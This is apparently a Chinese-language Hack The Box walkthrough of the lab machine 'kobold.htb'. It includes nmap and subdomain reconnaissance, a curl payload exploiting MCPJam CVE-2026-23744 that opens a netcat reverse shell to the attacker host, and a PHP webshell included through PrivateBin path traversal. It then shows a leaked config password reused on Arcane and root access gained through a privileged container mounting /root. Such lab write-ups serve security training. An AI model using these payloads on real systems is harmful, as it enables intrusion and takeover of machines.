目标信息
IP地址:
10.129.63.60(非固定IP地址)
信息收集
ICMP检测
PING 10.129.63.60 (10.129.63.60) 56(84) bytes of data.
64 bytes from 10.129.63.60: icmp_seq=1 ttl=63 time=119 ms
64 bytes from 10.129.63.60: icmp_seq=2 ttl=63 time=197 ms
64 bytes from 10.129.63.60: icmp_seq=3 ttl=63 time=221 ms
64 bytes from 10.129.63.60: icmp_seq=4 ttl=63 time=142 ms
--- 10.129.63.60 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 119.234/169.955/221.006/40.834 ms
攻击机和靶机间网络连接正常。
防火墙检测
# Nmap 7.98 scan initiated Sun Mar 22 08:14:17 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.63.60
Warning: 10.129.63.60 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.63.60
Host is up (0.14s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open|filtered ssh
80/tcp open|filtered http
443/tcp open|filtered https
3552/tcp open|filtered taserver
# Nmap done at Sun Mar 22 08:14:46 2026 -- 1 IP address (1 host up) scanned in 29.97 seconds
靶机疑似开放了4个TCP端口。
网络端口扫描
TCP端口扫描结果
# Nmap 7.98 scan initiated Sun Mar 22 08:15:42 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.63.60
Warning: 10.129.63.60 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.63.60
Host is up (0.12s latency).
Not shown: 48063 closed tcp ports (conn-refused), 17469 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_ssl-date: TLS randomness does not represent time
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 215.96 ms 10.10.16.1
2 183.77 ms 10.129.63.60
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 22 08:17:51 2026 -- 1 IP address (1 host up) scanned in 128.77 seconds
UDP端口开放列表扫描结果
# Nmap 7.98 scan initiated Sun Mar 22 08:20:59 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.63.60
Warning: 10.129.63.60 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.63.60
Host is up (0.098s latency).
All 65535 scanned ports on 10.129.63.60 are in ignored states.
Not shown: 65290 open|filtered udp ports (no-response), 245 closed udp ports (port-unreach)
# Nmap done at Sun Mar 22 08:25:01 2026 -- 1 IP address (1 host up) scanned in 241.74 seconds
UDP端口详细信息扫描结果
(无)
同时发现靶机运行Ubuntu Linux操作系统,开放了22/ssh、80/http和443/http三个服务,靶机主域名为kobold.htb。
服务探测
SSH服务(22端口)
尝试使用ssh连接靶机:
ssh root@kobold.htb

发现靶机允许使用密码和密钥两种方式登录。
Web应用程序(443端口)
虚拟主机爆破
在开始Web服务枚举前,首先爆破HTTPS服务虚拟主机:
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 70 -H "Host: FUZZ.kobold.htb" --hh 154 --hc 400 https://10.129.63.60
成功发现靶机HTTPS服务存在两个子域名:mcp.kobold.htb和bin.kobold.htb。
主域名枚举
打开主页:https://kobold.htb/

发现Web服务为一家AI服务公司的产品宣传站点,在页面底部可发现电子邮箱admin@kobold.htb:

尝试进行目录扫描,但未发现任何信息。
bin子域名枚举
打开主页:https://bin.kobold.htb/

发现该站点部署了PrivateBin在线剪切板系统,版本为v2.0.2。
尝试联网搜索该系统漏洞,发现存在远程文件包含漏洞CVE-2025-64714:Template-switching feature allowing arbitrary local file inclusion through path traversal · Advisory · PrivateBin/PrivateBin · GitHub

mcp子域名枚举
打开主页:https://mcp.kobold.htb/

发现该站点部署了MCPJam大模型应用开发平台,点击左下角Settings按钮,发现该系统版本为v1.4.2:

尝试联网搜索漏洞,发现该版本MCPJam存在未授权命令执行漏洞,编号为CVE-2026-23744:GitHub - suljov/CVE-2026-23744-Remote-Code-Execution-POC: MCPJam inspector contains a remote code execution · GitHub

除此之外,未发现其它信息。
渗透测试
CVE-2026-23744漏洞利用
在Web服务探测过程中,我们已经发现靶机MCPJam v1.4.2存在未授权命令执行漏洞,现在进行利用。
首先访问[https://github.com/suljov/CVE-2026-23744-Remote-Code-Execution-POC/blob/main/exploit.py](https://github.com/suljov/CVE-2026-23744-Remote-Code-Execution-POC/blob/main/exploit.py),阅读EXP脚本:

发现/api/mcp/connect端点在接收MCP服务器JSON配置时会直接执行serverConfig中的命令,直接启动netcat监听,使用curl发送恶意MCP Server配置即可:
curl -X POST https://mcp.kobold.htb/api/mcp/connect -H "Content-Type: application/json" -d '{"serverConfig": {"command": "busybox", "args": ["nc", "10.10.16.2", "443", "-e", "/bin/bash"], "env": {}}, "serverId": "misaka19008" }' -k

反弹Shell成功!!
权限提升
目录信息收集
进入靶机后,直接创建目录/home/ben/.ssh/,将攻击机的SSH公钥写入该目录下的authorized_keys文件,随后通过SSH登录ben用户,进行目录信息收集。

发现当前用户在operator用户组中。
首先查看根目录:
ls -lA /

发现/privatebin-data/目录,且其属主为root,属组为operator,权限为770,当前用户可以对该目录进行写入。
查看该目录:
ls -lAR /privatebin-data

发现该目录确实为PrivateBin的数据目录,但目前只对data目录有写入权限。
除此之外,未发现任何信息。
操作系统信息收集
基本系统信息

进程列表

计划任务列表

环境变量

用户信息

用户家目录

特殊权限文件

开放端口信息

敏感文件权限

发现靶机本地开放了3552/tcp端口,尝试将该端口转发到攻击机上进行探查:
ssh -fCNR 3552:localhost:3552 root@10.10.16.3 -p 22222
使用浏览器访问:http://127.0.0.1:3552/

可以看到靶机内网3552端口部署了Arcane v1.13.0在线容器管理系统。尝试使用默认凭据arcane / arcane-admin登录:

发现登录失败,使用find命令在根目录下搜索包含arcane字符串的文件名,未发现任何信息。重新审视整个渗透过程,决定使用CVE-2025-64714漏洞攻击PrivateBin在线剪贴板,进入Docker容器中进一步枚举。(从进程列表和Nginx配置文件可得知PrivateBin运行于Docker容器中)
CVE-2025-64714漏洞利用
在操作系统信息收集过程中,我们成功发现靶机内网3552端口运行Arcane在线容器管理系统,确定了使用CVE-2025-64714漏洞攻击PrivateBin,进而枚举其所在容器的渗透路径,现在进行利用。
首先,返回靶机的SSH会话,在/privatebin-data/data/下创建恶意PHP木马misaka.php:
<?php system($_GET['cmd']); ?>

随后访问https://bin.kobold.htb/,在剪贴板上随便写入一些内容,点击Create按钮创建后,访问生成的内容链接:

打开BurpSuite,将请求转发到Repeater模块,修改Cookie中的template参数为木马程序的相对路径:../data/misaka,并在URI中添加cmd参数:

命令执行成功!现在列出容器根目录:

发现目录/srv,列出该目录内容:
ls -lAR /srv

发现/srv目录为PrivateBin的数据主目录!尝试读取配置文件/srv/cfg/conf.php:
cat /srv/cfg/conf.php

经过一段时间的翻找,成功在该文件中发现配置的MySQL连接密码:ComplexP@sswordAdmin1928。但尝试使用find命令查找MySQL主进程相关程序,没有结果:
find / -name "*mysql*"

判断该密码与MySQL无关,尝试使用如下凭据登录Arcane:
- 用户名:
arcane(为Arcane默认用户名) - 密码:
ComplexP@sswordAdmin1928

登录成功!
Arcane容器管理系统提权
登录容器管理系统后,我们可以通过创建挂载宿主机关键目录的Docker容器方法进行提权。首先点击Images,查看靶机中的Docker镜像:

发现存在两个镜像:mysql和privatebin/nginx-fpm-alpine:2.0.2,决定创建privatebin镜像,将/root目录挂载到容器内,向SSH目录写入公钥文件实现提权。
首先切换到Containers功能界面,点击Create Container按钮调起配置对话框,在Basic选项卡中输入容器名称、镜像名称,运行用户必须为root:

随后切换到Volumns选项卡,设置将宿主机/root目录挂载至容器/mnt/root目录,完成后切换到Network & Security选项卡,勾选特权容器一项:

全部项目配置完毕后点击Create Container创建容器,待其运行后,点击新创建的容器,切换到Shell选项卡,执行如下命令将公钥写入/mnt/root/.ssh/authorized_keys文件:
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINuzVyK24R1psN4xjfxvl2APY785y5Rg7tuQUC2HASki root@misaka19008-vm" > /mnt/root/.ssh/authorized_keys

最后使用SSH登录root用户:
ssh root@kobold.htb

提权成功!!!!
